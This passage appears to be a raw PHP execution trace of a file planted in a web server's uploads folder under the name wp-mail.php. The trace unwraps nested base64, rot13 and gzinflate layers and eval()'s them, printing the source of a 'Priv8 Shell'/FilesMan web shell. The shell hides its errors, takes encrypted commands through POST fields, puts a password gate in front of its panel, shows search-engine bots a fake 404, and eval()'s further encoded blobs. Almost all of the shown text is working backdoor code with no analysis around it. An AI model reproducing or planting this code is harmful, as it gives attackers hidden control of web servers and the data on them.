xbGt3aElPcWZyVkNweklpbFMxYzYzeEFtUFpmcmdGc0F5b0U2USt4cStDK2pGRHdVY3BmUHAzc3JFUk1HUTJlMnhzUlBBNHhWVTYrZTJwaGJHMEFuNDVaNDZ6OFlhc3k5dDAxKzducE5FcWI1anF0TXJIQXY3OXpwZFFydGdZd1RPK3B5SXhiVzdhdDBxa0hocnF0VEN5NE9pS1ZMVWFQRDdGQ2xMRDRtSWcvTU8rcGdhRWRPRHJPeEJqNFAxUDFMVEJjdVJXTkR5UGYzU3gxaUhtdlJpNlBjNzFjQmRwQmZXck5SWGFLbnNhbzM4ajNRMVhNUDBObUNGMzdJelU3dWR4eDFCdTNpdmN3ZnJpRGNqeFZNREYvc0cxL05PMzlNL1ZZdlJKa3IzeGZBN2M4b05hNjVuR2dNWHpOS29kdjM0YkRxcCtDUFJqRXVDZTdKMnNibzVBUmIwRGZSbTZid1oySU1BL0NYZ1F4NW1oWXdPMFlZSTBFaytGNFB6Y3VMTHBpL2xrS2J2REl2OUUzSmxsVUJFOHovVURNWnhma1B0SjZ2Mjhmb29zWnVZOVJJNkZYdUIzaXpWYzQycTlJNGwzcjVXMmxmS3RIcXVXSzNYZ1ZQWHBrdlNMcSthdXR3WXl4U2RlclZ1b0dOOFc1RUhWRG5Va09xZ1oxSGlLb3RjU0lEK0h0VXp5Qlk4dU9NTGhvQmlBY1VwemIvajZhVzBMZzk1NE03ejJ4aE9nT3FyaGJHbC8xemEwbmdnQjFIc0RNY2xCRFlTT2wzaFRtT2ZWMHFsL016U2lmZnBCenIxVzFHOVNvV0xWWG5TTi9nZC9zSXRrYXhPMGxRZjdOUElCbGFMOEwrL3VvK3lWMVBmNk41ajNoQk0yNzMxOEIzeFVxNG1LUUVRL2czS1AxVkUzaXYzc0l5VThaa0NYek1ObU1adElxK1dHcjNBdFJSZXFWS2V6SlNyTG9QVlRkMVRGdFFzcThTQXRYL2ZYTExXcEs2R0RkOGxjeGtpU0RDOGJMRzlzU3plZzlhemdPUndvZTRDNURnQVgzN0x5SUVFQlpBK0ozQkRVMVFjYm1jRVNxTnV3VmU4UUdnV0VJalZtUHlZYzN1UFFrajF5R2NoVHc2ZUgxbnJsOGVubGg1MDA1dWVMbEU5MWpyMXlBMGlNWm52dUVGcDEwMC9oMkJ3d2txN0xFZllxKytQTUFqUlMvQzI2bUJmdk5mRFNnZnNGWncyc2dVaytNenlURStOTERZTmc5TmFJMGxZMkNKYVVlREZjeURWZm5IREFZaWRYMG1hUkpYcWdQTDVUZjJCK1Vib3ZHMVJiOHl4czhiK2kvOE04bzI0dWJHMEdmNHg2cWt3WUNwbjd4T3dQRTlvczcyY2tuZldiTzRTVm1NNlZIbUVXRXhZOUg1TUh0V0JMK3V5Vzcyd2hmd1k2d3QvZ0s0K1VFOVBKZlhIUmZwMWV5cGhtRy9tTU4xVllmSGk5MmdCOUNTR3g0R1dObnNnWDQzVXlpN0kxSEdhcTFLNWt5TjBMMm1ZekRxOUdLQ2k0cFRyRENoZnRaL3p1Nzl1L3Mycit6ZUgvOStkL1p0WDkwMS81S3MzajR5VXErcURQeDd6RmUrbkNCNkViVnpoL2pHSWhib09nWDkvZGJaTml2VXJMQW5EK0xPYnNCV3dvV2ZXWDlSZFI2NUhqUmN3K1pHWVJlWEVXOXFOWXgvSUlmVHdHWTYzYkdxL2xWWENpRDJJanBoWFdJa3dhV0JrM0E1SkFPZkE0ZDBqbUdSWkRISUR4bWxxaUsvdW9iTmw1SjYwcndoUWpXZTk4RDlIaHRIaVhsdTA2L3g3NjRmaVhIbmppVU42NjEvWHFTcUFjcVQxVGdOMDRSQ3ZXYzBRZzBoVnhXVDNQMDE0aFlKdnhUZnloYysxVW5QbXlMVjArcDU3dml3eENDUDc1T1Z0alZ2S0RHOThZdXFjRW5JWGVNV0dWcjc3U2pWSkx4QXpUNVB2TUZQWFZCWGFjSG40VHBpVjBTNUxucDd1TWZvTWIzcVMrbzhkM1FXSGZ3VnBpYStDVTFmdENQUFA1QmQyRXVYUFhMSGlQUDN1Z3o4aXhaU3VKWHR4M2RmUVM0UWRtTmZ3TFRacjJzbzFoQ0hHMUsyUGZIVG1OU1RWRU5hOVV1eVNDK1hPeUkzL1h0ZlBoN0t1SWRydnd6dFJVNGh5SVR6eU1kSnFJWGZZQTFIWlRlcVIrSDhVUk1zRjMvTGR3a0xEZTJUcmtCUndBNE5uM3FpaE82M2w4Tk9wR3FyMkZkSDgzdjBiRHZiQkVEL3VNYTIvR3ZzTzI1VEhUOG9yUlMzTzlBNFNmY3VXNnhhNWo0b0FxT0VyMG5oVHhNbXA3aVV5YXBNaHJ6OUtReXNTZjFaS01iUXZxR1JJMWFLcGJVNHBkbElmM2swbWlWNjdONUxKcTYzanE0ZmNGb0oreDYrZ0tpbC93SFQrUURZdkpLdk02clkrUWVQV0x4d2xJMGl6UG9JK1ZrNlQveEQwekRrN3o3NURjbW5ZNEhCMXk5QThQaHRldU5EdkUrdWhsOHlzdEdrdFVmakFIMDRyenIvQkRvVzM2Z1lNQnJ0YS82Z2hUbGJZUFVkRXZxVGtYZ3luMHc1cksxSUtzM0xqWWZwckFDeStyT2lFVk9SM01yVWI5Sm93eDRiUWdhN1FSUDh5ZUtwRHRBMkZnMzJQNGhGa0xGRWRXbEwvcUJxZzEwUjlHalhLVDZRK1BvalcyTnU1UHFZQ2dvWmpIVTVMVzZJdlZmSldpL1NtZ0tRc1JHSHo5RlVuaDZ2Wm9xdHhMd1c5bERIU3B0aWpvY1p2azZhU0FZdDdOdlYrb2o5VjhlNWhWVUJPVk5ZaUIzN0Q5M3MyYmpCRVRQSkE2eVJKZW1Ma2tHRzQwRUY5eTgvbkNVT3RaVCsvWE16QVBLL21kU2QySG9BZXc5SUNJNHlsUDBPZVZONHlUVTVaMXdXREgvQWEwQUJoaXNHaGhCejBURy9lN1o1Z0NiQ29ocHEzL3dQQU93WUlIbWF1OCtXQUwrZ2I4Z2tNQUxDR2toZVhGU1VXMVd1b2lFQ1RhN2g1MjFQY2RYdm16ZUhXamFrbkRvbHV5Z2dERDJVcVFHaHFNdk5meHNrei8wMmFOS3V1R0VVdWFjRm9DMlNGNEVaZnhDUkErM2p5ZE9mcEIvajMzS0ZjQ3gyZWdGb2UvZXViMkwxMkhpQkpJRkM4WkYxa3Y2R3puaWx4M3VhbUxRclpMKzhpOTNxcVdSUUtqNHY5QkhWbVF3djJYV0VzaVNVMjdDWXV4YTdOblA3YUowOU9OL3YvNVg3UVJvSTBXK2tnTW5CKzNsbjMvQ1o0MGhiZWJ6ZW9TR2haVEdYQkt1Vk55U0JjakkrMElCRXBHM0xZbmlja3V4QTFsRWthZ0JrWVFKWUIzQysyV1pRaFQ4L1ZrUnVkeTZlcnpIc3JzN29sdmRqVndpcnFJRTVYcjBJeFZvTjVNWjR1ODNGdkVlWVlJbXNBUVhlYS9XN3pCWnYvaTZIS2dTREFmOGExZVhBWlVHV0s4ZWN4TmNWc3BqYTFaa25TVXhqTmZmS3ZncXN4WXNuN2ZISjZmdEIyTWdKRHlEYlFwVUdHcG1YOGNhZGI3NTMyUEhHS1pLY1pKbVUrLysreVdGYXRIaVplWHYzd29rQkliR3gzQVRrZmZVMFZUelcyVS8zTVZjUkwzekJNWUxGanlObmtIOFZTemlqZFVJUWZ4Vk1QRWozb1NObkZuOENCUHhKbjdrellrZk9abjRFVUtCVWNqZEZSSzV3Z0pzQzgwU2VUbml6WktJTzFnSVoydWFVVS9USk9KQmsxVThUeDNid0hZU2JJaytCSkpzaUlZbnk3K3lVaUx0ZjZ3NTN5VitvRkxGaWRFQ3g0RXR3RGtHZmNJSVdrVTMyaXROQ2VESGJTWk14RFhKSWk4L1FmUVZldUx1N2FKV0IvbnF4TmNpcUVZQ0ZST1lkSlIwWk9HZUVtOHRVdjJwK1gxcEYvRS9aOS9xdXJyRG1mcjZGblRxTy9ZNG44TmNZV1UraDdpK3k1bnl6cVo3ekllMzVHMUphYkRqem9zMGtRak9tcWhsK0phQmhRQVVLM3lLTTlFVDA5YlZDVExKYnpLZnlJZlAxQ01KQitJWFFoK2N1Q0txZ0d4K0RNS3ZNUExCTHdHT29Mam1JUHhQdE9BdFNicnVHMnplbFhxSjBEOWdMdDRUaGZzZTgvOVJ1YjFNRVg5Y3JSTEJHaC9QRGZZem8vMnN5czgvZmR2QUQ0bjN1QTNSOXhmODZ0OW1MZ282RllldkhqYnlxZUI1UitobjFJWFp6Z3ZxemtSUTlpM0xmU0FiODZQSDBLTWJhMmVYM1pzdEgxd2NId0hYNkFFR1NlUStzcndqNjZsL1FzNld2NCtJNnRacmFNQXNCdmpjYWZ2elFoNlJyLzdXSWhIakNQQ1R6WEo3UC8rRUdGL3haNWhoYnF3azErOUdCT1daazdkc0NhZmJvaVJGNnhzV3llakw3eVYxYUlhTjRtanhYd0lWRVBLNUNNTGJpTGYrQTZueEkxQVBwcVIzbWlHSzEwdUszMUNuZmg1NkFiME1Jd3BMZ3htbGdVK1NsQWNOcERXeGVidENTZEllQzQ2ajRXVjlMQzEyS2xocERKNlZhbGxRTzRDLzJuREJpWUE1ZS8wNWVLR0xaQXJ6bWZhcGdlWURnK1pQYjlUWFVnWVlYbGdlSTJLTDdYRVEwalMxMHNuR044cWJmbDVaUmNXZzZ2dWZ3OWMyL2MvZi8vczk5YWMvUkJlWEw3bTNiVkV4bm9Bdzc4blduQ01lWE9taEhEMWRXYnBlUG8yQ2F3eGtwckxSUWk0cHYxeWg1UnNObjVPdHFiYjlWNElXUytzdFEzWHZMeS8vQnc9PQ==\');eval($kyg0($zej1($pjd2($sjz3(($dtq4))))));?>'	/var/www/html/uploads/wp-mail.php(3) : eval()'d code	1	0
4	16	0	0.021537	691048	base64_decode	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	1	'c3RyX3JvdDEz'
4	16	1	0.021561	691120
4	16	R			'str_rot13'
3		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	$kyg0 = 'str_rot13'
4	17	0	0.021590	691088	base64_decode	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	1	'Z3ppbmZsYXRl'
4	17	1	0.021606	691160
4	17	R			'gzinflate'
3		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	$zej1 = 'gzinflate'
4	18	0	0.021631	691128	base64_decode	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	1	'c3RyX3JvdDEz'
4	18	1	0.021645	691200
4	18	R			'str_rot13'
3		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	$pjd2 = 'str_rot13'
4	19	0	0.021670	691168	base64_decode	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	1	'YmFzZTY0X2RlY29kZQ=='
4	19	1	0.021685	691248
4	19	R			'base64_decode'
3		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	$sjz3 = 'base64_decode'
4	20	0	0.021710	691216	base64_decode	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	1	'NVAzcmt1SkxzaWdNL3E1NjF1OUF4Yzdka2Jrak0wOFNFQmx4YzNHMUFJRWtRMk5VUUVpZE5LSGdEazhTSUNSbzE5OXNoSG96Wmo2enorWVo1bExtR2M2VGpQdE51bVNKeU1pcTJ0bDl2aSs3cVFCMlhYMjUrMlgzNWN2OVlvN21mQm5iazllWDluVTBISDN4aHR2THR5bGU3UGZmZlB6THYvMHRiUXZQdjVBU2NHdk5ITDd6amNVWGUyNmIwNGt6MUw1WkhOOCtMVE9jUWZUcDVNdHR1dG5ZSTFUYm5wYXduTEh1R2N1alhsNzlyLy82ZjZidVJwUFIxS2EvL2cvNGFEbWRlZDdkWGRJSC8ySjgwR1U4ZXp3d3RPRFovd3VlK1VuMjlhc3ZwYVlnTllXZkx6dmxaZUdMQ0wrK1BMU2JmUG55U25uYzJhUmUvK2lNc2Z0S1grcjVmSy9iL1BsWnRVRytoQld1TDF4N2JQSHJtemVwdi8vbDMzN1FWTVBK'
4	20	1	0.022014	789552
4	20	R			'5P3rkuJLsigM/q561u9Axc7dkbkjM08SEBlxc3G1AIEkQ2NUQEidNKHgDk8SICRo199shHozZj6zz+YZ5lLmGc6TjPtNumSJyMiq2tl9vi+7qQB2XX25+2X35cv9Yo7mfBnbk9eX9nU0HH3xhtvLtyle7PfffPzLv/0tbQvPv5AScGvNHL7zjcUXe26b04kz1L5ZHN8+LTOcQfTp5MttutnYI1TbnpawnLHuGcujXl79r//6f6buRpPR1Ka//g/4aDmded7dXdIH/2J80GU8ezwwtODZ/wue+Un29asvpaYgNYWfLzvlZeGLCL++PLSbfPnySnnc2aRe/+iMsftKX+r5fK/b/PlZtUG+hBWuL1x7bPHrmzepv//l337QVMPJY7LU7ddfq/E2hSPC/n77y79up696X58soUEBiv18du6MEQwByr+BaUKewkdj2sfDpaU0+zIcELR7+M4grxK/oCXHHHez1xcEfjiw487epizbHC31g0nefgtjPp4bimww'
3		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	$dtq4 = '5P3rkuJLsigM/q561u9Axc7dkbkjM08SEBlxc3G1AIEkQ2NUQEidNKHgDk8SICRo199shHozZj6zz+YZ5lLmGc6TjPtNumSJyMiq2tl9vi+7qQB2XX25+2X35cv9Yo7mfBnbk9eX9nU0HH3xhtvLtyle7PfffPzLv/0tbQvPv5AScGvNHL7zjcUXe26b04kz1L5ZHN8+LTOcQfTp5MttutnYI1TbnpawnLHuGcujXl79r//6f6buRpPR1Ka//g/4aDmded7dXdIH/2J80GU8ezwwtODZ/wue+Un29asvpaYgNYWfLzvlZeGLCL++PLSbfPnySnnc2aRe/+iMsftKX+r5fK/b/PlZtUG+hBWuL1x7bPHrmzepv//l337QVMPJY7LU7ddfq/E2hSPC/n77y79up696X58soUEBiv18du6MEQwByr+BaUKewkdj2sfDpaU0+zIcELR7+M4grxK/oCXHHHez1xcEfjiw487epizbHC31g0nefgtjPp4bimww'
4	21	0	0.022151	789520	base64_decode	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	1	'5P3rkuJLsigM/q561u9Axc7dkbkjM08SEBlxc3G1AIEkQ2NUQEidNKHgDk8SICRo199shHozZj6zz+YZ5lLmGc6TjPtNumSJyMiq2tl9vi+7qQB2XX25+2X35cv9Yo7mfBnbk9eX9nU0HH3xhtvLtyle7PfffPzLv/0tbQvPv5AScGvNHL7zjcUXe26b04kz1L5ZHN8+LTOcQfTp5MttutnYI1TbnpawnLHuGcujXl79r//6f6buRpPR1Ka//g/4aDmded7dXdIH/2J80GU8ezwwtODZ/wue+Un29asvpaYgNYWfLzvlZeGLCL++PLSbfPnySnnc2aRe/+iMsftKX+r5fK/b/PlZtUG+hBWuL1x7bPHrmzepv//l337QVMPJY7LU7ddfq/E2hSPC/n77y79up696X58soUEBiv18du6MEQwByr+BaUKewkdj2sfDpaU0+zIcELR7+M4grxK/oCXHHHez1xcEfjiw487epizbHC31g0nefgtjPp4bimww'
4	21	1	0.022385	863280
4	21	R			'���K�(\f��z��@��ݑ�#3O\022\020\031qsq�\000�$CcT@H�4��\016O\022 $h��l�z3f>���\031�R�\031Γ��M�d��Ȫ��}�/��\000v]}��e���b��|\031ۓח�u4\034}��˷)^��|�˿�-m\vϿ�\022pk�\034���\027{n�Ӊ3ԾY\034�>-3�A����m���#T۞�����\031ˣ^^������F��Ԧ��\017�h9�y��]�\a�b|�e<{<0���\v��I���/�� 5��/;�e�\b��<��|��Jy�٤^�茱�J_�|���Y�A��\025�/\\{l��7�����~�T��c����_��6�#�~�˿n��z_�,�A\001��|v�\021\f\001ʿ�iB��Gc��å�4�2\034\020�{�� �\022��%�\034w��\027\004~8���ަ,�\034-��I�~\vc>�\033�l0\024�j\016�3���\ap���x0K�B\030\r'
4	22	0	0.023342	863248	str_rot13	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	1	'���K�(\f��z��@��ݑ�#3O\022\020\031qsq�\000�$CcT@H�4��\016O\022 $h��l�z3f>���\031�R�\031Γ��M�d��Ȫ��}�/��\000v]}��e���b��|\031ۓח�u4\034}��˷)^��|�˿�-m\vϿ�\022pk�\034���\027{n�Ӊ3ԾY\034�>-3�A����m���#T۞�����\031ˣ^^������F��Ԧ��\017�h9�y��]�\a�b|�e<{<0���\v��I���/�� 5��/;�e�\b��<��|��Jy�٤^�茱�J_�|���Y�A��\025�/\\{l��7�����~�T��c����_��6�#�~�˿n��z_�,�A\001��|v�\021\f\001ʿ�iB��Gc��å�4�2\034\020�{�� �\022��%�\034w��\027\004~8���ަ,�\034-��I�~\vc>�\033�l0\024�j\016�3���\ap���x0K�B\030\r'
4	22	1	0.024355	920624
4	22	R			'���X�(\f��m��@��ݑ�#3B\022\020\031dfd�\000�$PpG@U�4��\016B\022 $u��y�m3s>���\031�E�\031Γ��Z�q��Ȫ��}�/��\000i]}��r���o��|\031ۓח�h4\034}��˷)^��|�˿�-z\vϿ�\022cx�\034���\027{a�Ӊ3ԾL\034�>-3�N����z���#G۞�����\031ˣ^^������S��Ԧ��\017�u9�l��]�\a�o|�r<{<0���\v��V���/�� 5��/;�r�\b��<��|��Wl�٤^�茱�W_�|���L�N��\025�/\\{y��7�����~�G��p����_��6�#�~�˿a��m_�,�N\001��|i�\021\f\001ʿ�vO��Tp��å�4�2\034\020�{�� �\022��%�\034j��\027\004~8���ަ,�\034-��V�~\vp>�\033�y0\024�w\016�3���\ac���k0X�O\030\r'
4	23	0	0.025308	846864	gzinflate	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	1	'���X�(\f��m��@��ݑ�#3B\022\020\031dfd�\000�$PpG@U�4��\016B\022 $u��y�m3s>���\031�E�\031Γ��Z�q��Ȫ��}�/��\000i]}��r���o��|\031ۓח�h4\034}��˷)^��|�˿�-z\vϿ�\022cx�\034���\027{a�Ӊ3ԾL\034�>-3�N����z���#G۞�����\031ˣ^^������S��Ԧ��\017�u9�l��]�\a�o|�r<{<0���\v��V���/�� 5��/;�r�\b��<��|��Wl�٤^�茱�W_�|���L�N��\025�/\\{y��7�����~�G��p����_��6�#�~�˿a��m_�,�N\001��|i�\021\f\001ʿ�vO��Tp��å�4�2\034\020�{�� �\022��%�\034j��\027\004~8���ަ,�\034-��V�~\vp>�\033�y0\024�w\016�3���\ac���k0X�O\030\r'
4	23	1	0.026725	998448
4	23	R			'@vav_frg(\'reebe_ybt\', AHYY);\r\n@vav_frg(\'ybt_reebef\', 0);\r\n@vav_frg(\'znk_rkrphgvba_gvzr\', 0);\r\n@vav_frg(\'bhgchg_ohssrevat\', 0);\r\n@vav_frg(\'qvfcynl_reebef\', 0);\r\n$▘ = gehr;\r\n$▜ = \'hgs-8\';\r\n$▚ = \'SvyrfZna\';\r\n$▙ = zq5($_FREIRE[\'UGGC_HFRE_NTRAG\']);\r\nvs (!vffrg($_PBBXVR[zq5($_FREIRE[\'UGGC_UBFG\'])."xrl"])) {\r\n\tcebgbglcr(zq5($_FREIRE[\'UGGC_UBFG\'])."xrl", $▙);\r\n}\r\n\r\nvs(rzcgl($_CBFG[\'punefrg\']))\r\n\t$_CBFG[\'punefrg\'] = $▜;\r\nvs (!vffrg($_CBFG[\'ar\'])) '
4	24	0	0.026944	941072	str_rot13	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	1	'@vav_frg(\'reebe_ybt\', AHYY);\r\n@vav_frg(\'ybt_reebef\', 0);\r\n@vav_frg(\'znk_rkrphgvba_gvzr\', 0);\r\n@vav_frg(\'bhgchg_ohssrevat\', 0);\r\n@vav_frg(\'qvfcynl_reebef\', 0);\r\n$▘ = gehr;\r\n$▜ = \'hgs-8\';\r\n$▚ = \'SvyrfZna\';\r\n$▙ = zq5($_FREIRE[\'UGGC_HFRE_NTRAG\']);\r\nvs (!vffrg($_PBBXVR[zq5($_FREIRE[\'UGGC_UBFG\'])."xrl"])) {\r\n\tcebgbglcr(zq5($_FREIRE[\'UGGC_UBFG\'])."xrl", $▙);\r\n}\r\n\r\nvs(rzcgl($_CBFG[\'punefrg\']))\r\n\t$_CBFG[\'punefrg\'] = $▜;\r\nvs (!vffrg($_CBFG[\'ar\'])) '
4	24	1	0.027227	1092656
4	24	R			'@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n$▘ = true;\r\n$▜ = \'utf-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\r\n}\r\n\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $▜;\r\nif (!isset($_POST[\'ne\'])) '
4	25	0	0.029920	1489368	eval	1	'@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n$▘ = true;\r\n$▜ = \'utf-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\r\n}\r\n\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $▜;\r\nif (!isset($_POST[\'ne\'])) {\r\n\tif(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n}\r\n$hex = "SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ==";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($hex))))));\r\n$xd = "fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($xd))))));\r\n$configs = "KytJ0ChYWCtX10OJag1l8QhlZo9JL6hFj9XUR6jm5UUAgqKC0iQFJZvk1CI7JXiIkFdOlYKtAoYWqHlNQU1tRJUGQxFZBHeEPrIZhXJSQEmtgr0dAA==";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($configs))))));\r\n\r\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@set_time_limit(0);\r\nif(version_compare(PHP_VERSION, \'5.3.0\', \'<\')){\r\n    set_magic_quotes_runtime(0);\r\n}\r\n@define(\'VERSION\', \'Priv8 Shell\');\r\nif(get_magic_quotes_gpc()) {\r\n\tfunction stripslashes_array($array) {\r\n\t\treturn is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\r\n\t}\r\n\t$_POST = stripslashes_array($_POST);\r\n    $_COOKIE = stripslashes_array($_COOKIE);\r\n}\r\n/* (С) 11.2011 oRb */\r\nif(!empty($▛)) {\r\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $▛))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']), $▛);\r\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $▛))\r\n        hardLogin();\r\n}\r\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\r\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$▘;\r\nfunction hardLogin() {\r\n\t\tif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n\t\t  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  header(\'HTTP/1.0 404 Not Found\');\r\n\t\t  exit;\r\n\t\t  }\r\n\t\t}\r\n\tdie("</br></br><body bgcolor=\'#000000\'><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'><img src=\'https://i.imgur.com/4Fq8k1E.png\' align=\'center\'><br><br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'>>\' style=\'border:none;background-color:#1e252e;color:#fff;cursor:pointer;\'></form></pre> </body>");\r\n}\r\nif(strtolower(substr(PHP_OS,0,3)) == "win")\r\n\t$os = \'win\';\r\nelse\r\n\t$os = \'nix\';\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(!$safe_mode)\r\n    error_reporting(0);\r\n$disable_functions = @ini_get(\'disable_functions\');\r\n$home_cwd = @getcwd();\r\nif(isset($_POST[\'c\']))\r\n\t@chdir($_POST[\'c\']);\r\n$cwd = @getcwd();\r\nif($os == \'win\') {\r\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\r\n\t$cwd = str_replace("\\\\", "/", $cwd);\r\n}\r\nif($cwd[strlen($cwd)-1] != \'/\')\r\n\t$cwd .= \'/\';\r\n\r\nfunction hardHeader() {\r\n\tif(empty($_POST[\'charset\']))\r\n\t\t$_POST[\'charset\'] = $GLOBALS[\'▜\'];\r\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title> " . VERSION ."</title>\r\n<style>\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #000000; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n\ttable.infoo\t{color:#ffffff; background-image: url(\'https://i.imgur.com/gL0UG8Y.png\'); background-position: center;  background-repeat:no-repeat;  -webkit-background-size: cover;\t-moz-background-size: cover; -o-background-size: cover;\tbackground-size: 80%; 80%; }\r\n\ttable.info\t{color:#ffffff;}\r\n\ttable#toolsTbl {background-color: #000000;}\r\n\tspan,h1,a\t{color:#0095ff !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #2a5ccdd9;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#000000;}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, 